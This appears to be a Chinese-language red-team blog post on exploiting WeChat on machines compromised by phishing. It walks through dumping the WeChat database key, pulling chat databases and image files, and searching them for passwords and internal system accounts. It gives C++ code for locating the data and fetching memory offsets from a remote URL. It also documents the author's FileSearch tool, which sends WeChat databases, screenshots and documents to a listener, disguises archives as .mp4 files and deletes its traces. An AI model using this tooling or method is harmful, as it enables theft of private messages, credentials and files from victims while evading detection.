关于钓鱼上线后微信利用

场景

钓鱼攻击(通过邮件/QQ/微信钓鱼控到的机器通常都是登录状态)
渗透到运维机器(有些运维机器会日常登录自己的微信)
实战中钓鱼时常在微信聊天记录或者微信聊天图片中找到目标内网系统账号、机器账号密码,尽可能的不触发大量扫描告警下在内网中精准打到跳板机,以下内容以及开源代码仅供学习使用。

微信聊天记录

https://github.com/Ormicron/Sharp-dumpkey
1、获取微信数据库密钥,回传DBpass.bin
1.png
2、下载目标聊天数据库文件
默认保存目录在 c:\User\xxxx\Documents\Wechat Files\ wxid_xxxxx\Msg\Multi
超出240MB会自动生成MSG1.db,以此类推。

1
2
3
4
wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天记录
wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表

2.png
3.将上面三个文件回传到同目录,配合ChatViewToo(
GitHub - Ormicron/chatViewTool: 基于Java实现的图形化微信聊天记录解密查看器
)打开解密即可查看,在搜索处”administrator”/ ‘“root” “密码” “ip等”
3.png

微信聊天图片

参考:https://www.52pojie.cn/forum.php?mod=viewthread&tid=1529348
微信保存的图片解密不调用微信程序,不依赖微信ID和UIN,对每个dat文件单独计算解密密钥
低版本图片存储路径路径:
C:\Users\xxxx\Documents\WeChat Files\xxxxx\FileStorage\Image
从 3.7.0.26 版开始,微信图片的保存路径按群、按人分别保存图片及文件,对应路径:
C:\Users\xxxx\Documents\WeChat Files\xxxxxx\FileStorage\MsgAttach
将对应目录的dat文件拉回后用WxDatViewer打开查看
微信截图_20221118190801.png

3.自动化实现过程

1、直接读取注册表的键值,wxid关键字匹配然后拼接绝对路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void getPath(char *dbpath)
{
char cmd_command[256] = { 0 };
char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
HKEY hKey;
DWORD dwType = REG_BINARY;
REGSAM mode = KEY_READ;
DWORD length = 256;
int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);

ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length);
strcat(dbpath, "\\WeChat Files");
//cout << dbpath << endl;

if (ret == 0) {
RegCloseKey(hKey);
}
else {
printf("failed to open regedit.%d\n", ret);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void getFileNames(string path, vector<string>& files)
{
intptr_t hFile = 0;
//文件信息
struct _finddata_t fileinfo;
string p;
string::size_type idx;

if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1)
{
do
{
//如果是目录,匹配文件夹
if ((fileinfo.attrib & _A_SUBDIR))
{
if (strstr(fileinfo.name, "wxid") != NULL)
files.push_back(p.assign(path).append("\\").append(fileinfo.name));
}

} while (_findnext(hFile, &fileinfo) == 0);
_findclose(hFile);
}
}

注意事项:

这里需要注意的是如果用户修改过微信id本地存储的文件夹非默认wxid开头的路径或者用户自定义安装目录,这个时候需要手动指定绝对路径参数去上传!!
微信截图_20221014133740.png
2、服务端用的socket协议,需要启动个Server socket监听
微信截图_20221118190541.png
3、这里参考了Ormicron哥远程拉取基址获取密钥的Sharp-dumpkey项目,用c++重新写了个版本
远程拉取的URL在GetBaseAddr 方法中,这里可以根据实际情况进行修改,目前支持最新微信版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
BYTE* GetBaseAddr(BYTE* wdBaseAddr, LPCTSTR version)
{
std::string resultStr = webhttp((L"https://jihulab.com/bluesky1/padding/-/raw/main/README.md"));
if (resultStr == "")
{
std::cout << "info download error" << std::endl;
return NULL;
}

std::string versionStr = Unicode2Ansi(CA2W(version));
Replace(resultStr, " ", "");
Replace(resultStr, "\t", "");

int offsetAddr = 0;
char targetVersion[256] = { 0 };
sprintf_s(targetVersion, "\"%s\"", versionStr.c_str());
const char* ptr = strstr(resultStr.c_str(), targetVersion);
if (!ptr)
{
std::cout << "[-] This Version Not Support1." << std::endl;
return NULL;
}
ptr = strstr(ptr, "\"addr\":\"");
if (!ptr)
{
std::cout << "[-] This Version Not Support2." << std::endl;
return NULL;
}

ptr += strlen("\"addr\":\"");

sscanf_s(ptr, "%x", &offsetAddr);

//std::cout << std::hex << offsetAddr << std::endl;

return wdBaseAddr + offsetAddr;
}

实现效果

微信截图_20221118200409.png

项目

最后把以上功能集成到了自己实现的文件回传功能中
项目地址:https://github.com/c1y2m3/FileSearch

Server

1
Server.exe port # 默认8888端口

Command

1
2
3
4
5
6
7
8
9
[+] FileSearch.exe dumpkey # 获取微信密钥
[+] FileSearch.exe send 127.0.0.1 8888 # 从默认路径回传微信数据库
[+] FileSearch.exe send 127.0.0.1 8888 vxpath # 指定微信数据库路径
[+] FileSearch.exe photo 127.0.0.1 8888 # 桌面截屏回传
[+] FileSearch.exe search d:\ .docx # 查找指定类型文件
[+] FileSearch.exe upload path 127.0.0.1 8888 # 上传文件
[+] FileSearch.exe uploads path 127.0.0.1 8888 # 上传文件夹
[+] FileSearch.exe all 127.0.0.1 8888 # 全盘获取指定类型文件
[+] FileSearch.exe user 127.0.0.1 8888 # c:\users目录下查找类型文件

v1.3

1、all参数排除c盘符查找指定类型文件,避免大量缓存文件造成卡顿,添加user参数在c:\users目录下查找
可自行修改需要上传的文件类型(747行),默认为:

1
const char* filetype[] = { ".doc",".xls", ".pdf" ,".docx",".xlsx",".txt",".bat",".ppt",".pptx" };

2、运行成功后会自动删除生成出来的文件夹以及压缩包,压缩包文件随机修改成了mp4后缀
3、优化了查找文件匹配方式,支持模糊匹配或精确匹配
4、新增uploads参数遍历指定文件夹压缩上传功能
5、新增photo参数桌面截屏回传功能

功能展示:

微信截图_20221118190319.png
微信截图_20221118191427.png
微信截图_20221118195507.png

已知问题:

测试在10M带宽的服务器上传输大文件(G级)可能会损坏,感觉这跟双方网络波动有一定关系,后续会改成自动分卷压缩来上传,目前暂用的解决办法:
例如本地自带Rar进行切割,回传后

1
C:\Program Files\WinRAR\Rar.exe a -ep1 -m0 -v2mC:\Users\admin\Downloads\1.rar C:\Users\admin\Downloads\xxx.jar

注释:-v2m 即分卷的大小为2m
2、使用WinRAR内置修复功能或者使用DiskInternals ZIP进行修复损坏文件
如果发现缺陷请提交 issue,非常感谢!
后续还会更新~

本人失业多年,已不参与大小HW的攻击方了,若溯源到id与本人无关